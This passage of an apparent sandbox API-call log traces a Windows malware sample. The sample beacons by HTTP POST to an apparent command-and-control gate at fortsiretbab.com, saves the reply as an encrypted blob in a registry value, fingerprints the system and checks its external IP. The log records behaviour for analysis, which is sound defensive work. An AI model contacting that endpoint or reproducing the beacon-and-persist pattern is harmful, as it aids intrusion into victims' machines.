() returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.219] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.220] GetTickCount () returned 0x22fb6 [0112.221] GetTickCount () returned 0x22fb6 [0112.221] GetTickCount () returned 0x22fb6 [0112.221] GetTickCount () returned 0x22fb6 [0112.268] CryptAcquireContextW (in: phProv=0x25bddc4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25bddc4*=0x84eaf8) returned 1 [0112.270] CryptCreateHash (in: hProv=0x84eaf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25bddc0 | out: phHash=0x25bddc0) returned 1 [0112.270] CryptHashData (hHash=0x85ab60, pbData=0x8563e8, dwDataLen=0x3b5, dwFlags=0x0) returned 1 [0112.270] CryptGetHashParam (in: hHash=0x85ab60, dwParam=0x2, pbData=0x8563d8, pdwDataLen=0x25bddbc, dwFlags=0x0 | out: pbData=0x8563d8, pdwDataLen=0x25bddbc) returned 1 [0112.270] CryptDestroyHash (hHash=0x85ab60) returned 1 [0112.270] CryptReleaseContext (hProv=0x84eaf8, dwFlags=0x0) returned 1 [0112.270] InternetCrackUrlA (in: lpszUrl="http://fortsiretbab.com/bdl/gate.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x25bdeb0 | out: lpUrlComponents=0x25bdeb0) returned 1 [0112.302] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0112.302] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x2, lpBuffer=0x323004, dwBufferLength=0x4) returned 1 [0112.302] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x32300c, dwBufferLength=0x4) returned 1 [0112.302] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x323014, dwBufferLength=0x4) returned 1 [0112.302] InternetConnectA (hInternet=0xcc0004, lpszServerName="fortsiretbab.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0112.302] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/bdl/gate.php", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x323018*="*/*", dwFlags=0x8404c700, dwContext=0x0) returned 0xcc000c [0112.303] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders="Connection: close\r\n", dwHeadersLength=0x13, lpOptional=0x8563b8*, dwOptionalLength=0x3e5 | out: lpOptional=0x8563b8*) returned 1 [0113.776] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x25bdf04, lpdwBufferLength=0x25bdf00, lpdwIndex=0x0 | out: lpBuffer=0x25bdf04*, lpdwBufferLength=0x25bdf00*=0x4, lpdwIndex=0x0) returned 1 [0113.776] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x0) returned 0x102 [0113.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x8afed8, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x25bdf08 | out: lpBuffer=0x8afed8*, lpdwNumberOfBytesRead=0x25bdf08*=0x17a) returned 1 [0113.778] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x0) returned 0x102 [0113.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x8b0052, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x25bdf08 | out: lpBuffer=0x8b0052*, lpdwNumberOfBytesRead=0x25bdf08*=0x0) returned 1 [0113.779] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0113.779] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x25bdf1c, lpdwBufferLength=0x25bdf18 | out: lpBuffer=0x25bdf1c, lpdwBufferLength=0x25bdf18) returned 1 [0113.779] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0113.779] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0113.779] CryptAcquireContextW (in: phProv=0x25bddf0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25bddf0*=0x8921e0) returned 1 [0113.780] CryptCreateHash (in: hProv=0x8921e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25bddec | out: phHash=0x25bddec) returned 1 [0113.780] CryptHashData (hHash=0x85b0e0, pbData=0x8aff08, dwDataLen=0x10, dwFlags=0x0) returned 1 [0113.780] CryptGetHashParam (in: hHash=0x85b0e0, dwParam=0x2, pbData=0x25bde18, pdwDataLen=0x25bdde8, dwFlags=0x0 | out: pbData=0x25bde18, pdwDataLen=0x25bdde8) returned 1 [0113.780] CryptDestroyHash (hHash=0x85b0e0) returned 1 [0113.780] CryptReleaseContext (hProv=0x8921e0, dwFlags=0x0) returned 1 [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.780] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.781] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.782] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.783] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] GetTickCount () returned 0x235ce [0113.784] CryptAcquireContextW (in: phProv=0x25be434, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25be434*=0x8921e0) returned 1 [0113.784] CryptCreateHash (in: hProv=0x8921e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25be430 | out: phHash=0x25be430) returned 1 [0113.784] CryptHashData (hHash=0x85b0e0, pbData=0x8aff08, dwDataLen=0x6f4, dwFlags=0x0) returned 1 [0113.784] CryptGetHashParam (in: hHash=0x85b0e0, dwParam=0x2, pbData=0x8afef8, pdwDataLen=0x25be42c, dwFlags=0x0 | out: pbData=0x8afef8, pdwDataLen=0x25be42c) returned 1 [0113.784] CryptDestroyHash (hHash=0x85b0e0) returned 1 [0113.784] CryptReleaseContext (hProv=0x8921e0, dwFlags=0x0) returned 1 [0113.784] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x25be5ec, lpdwDisposition=0x0 | out: phkResult=0x25be5ec*=0x340, lpdwDisposition=0x0) returned 0x0 [0113.785] RegSetValueExW (in: hKey=0x340, lpValueName="Yqlozyzuz", Reserved=0x0, dwType=0x3, lpData=0x8afed8*, cbData=0x724 | out: lpData=0x8afed8*) returned 0x0 [0113.785] RegCloseKey (hKey=0x340) returned 0x0 [0113.785] ReleaseMutex (hMutex=0x1ac) returned 1 [0113.785] CloseHandle (hObject=0x1ac) returned 1 [0113.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0113.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", cchWideChar=28, lpMultiByteStr=0x862078, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", lpUsedDefaultChar=0x0) returned 28 [0113.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x25be6a8, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0113.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x25be6a8, cbMultiByte=2, lpWideCharStr=0x84cf38, cchWideChar=3 | out: lpWideCharStr="18") returned 2 [0113.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0113.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18", cchWideChar=2, lpMultiByteStr=0x899898, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="18", lpUsedDefaultChar=0x0) returned 2 [0113.785] GetVersionExW (in: lpVersionInformation=0x25be4e8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x899898, dwMinorVersion=0x25bf8e4, dwBuildNumber=0x77791ecd, dwPlatformId=0xf4c781, szCSDVersion="￾￿ℵ睶Ῥ睶䴈\x89\x86") | out: lpVersionInformation=0x25be4e8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0113.785] GetNativeSystemInfo (in: lpSystemInfo=0x25be4c0 | out: lpSystemInfo=0x25be4c0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0113.785] GetVersionExW (in: lpVersionInformation=0x25be358*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x25be358*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0113.785] socket (af=2, type=2, protocol=0) returned 0x1ac [0113.785] WSAIoctl (in: s=0x1ac, dwIoControlCode=0x48000016, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x25be5b0, cbOutBuffer=0x0, lpcbBytesReturned=0x25be5bc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x25be5b0, lpcbBytesReturned=0x25be5bc, lpOverlapped=0x0) returned -1 [0113.785] WSAGetLastError () returned 10014 [0113.785] WSAIoctl (in: s=0x1ac, dwIoControlCode=0x48000016, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x863d78, cbOutBuffer=0x1c, lpcbBytesReturned=0x25be5bc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x863d78, lpcbBytesReturned=0x25be5bc, lpOverlapped=0x0) returned 0 [0113.785] closesocket (s=0x1ac) returned 0 [0113.786] socket (af=23, type=2, protocol=0) returned 0x1ac [0113.786] WSAIoctl (in: s=0x1ac, dwIoControlCode=0x48000016, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x25be5b0, cbOutBuffer=0x0, lpcbBytesReturned=0x25be5bc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x25be5b0, lpcbBytesReturned=0x25be5bc, lpOverlapped=0x0) returned -1 [0113.786] WSAGetLastError () returned 10014 [0113.786] WSAIoctl (in: s=0x1ac, dwIoControlCode=0x48000016, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x8991d8, cbOutBuffer=0x28, lpcbBytesReturned=0x25be5bc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x8991d8, lpcbBytesReturned=0x25be5bc, lpOverlapped=0x0) returned 0 [0113.786] closesocket (s=0x1ac) returned 0 [0113.786] InternetCrackUrlA (in: lpszUrl="http://checkip.dyndns.org", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x25be430 | out: lpUrlComponents=0x25be430) returned 1 [0113.786] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0113.786] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x2, lpBuffer=0x323004, dwBufferLength=0x4) returned 1 [0113.786] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x32300c, dwBufferLength=0x4) returned 1 [0113.786] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x323014, dwBufferLength=0x4) returned 1 [0113.786] InternetConnectA (hInternet=0xcc0004, lpszServerName="checkip.dyndns.org", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0113.786] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x323018*="*/*", dwFlags=0x8404c700, dwContext=0x0) returned 0xcc000c [0113.786] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders="Connection: close\r\n", dwHeadersLength=0x13, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0115.096] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x25be484, lpdwBufferLength=0x25be480, lpdwIndex=0x0 | out: lpBuffer=0x25be484*, lpdwBufferLength=0x25be480*=0x4, lpdwIndex=0x0) returned 1 [0115.096] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2b40048, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x25be488 | out: lpBuffer=0x2b40048*, lpdwNumberOfBytesRead=0x25be488*=0x6a) returned 1 [0115.097] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2b400b2, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x25be488 | out: lpBuffer=0x2b400b2*, lpdwNumberOfBytesRead=0x25be488*=0x0) returned 1 [0115.097] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0115.098] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x25be49c, lpdwBufferLength=0x25be498 | out: lpBuffer=0x25be49c, lpdwBufferLength=0x25be498) returned 1 [0115.098] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0115.098] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0115.098] inet_addr (cp="87.142.159.132") returned 0x849f8e57 [0115.098] inet_addr (cp="87.142.159.132") returned 0x849f8e57 [0115.098] inet_addr (cp="87.142.159.132") returned 0x849f8e57 [0115.098] inet_addr (cp="87.142.159.132") returned 0x849f8e57 [0115.098] CreateToolhelp32Snapshot (dwFlags=0x2, 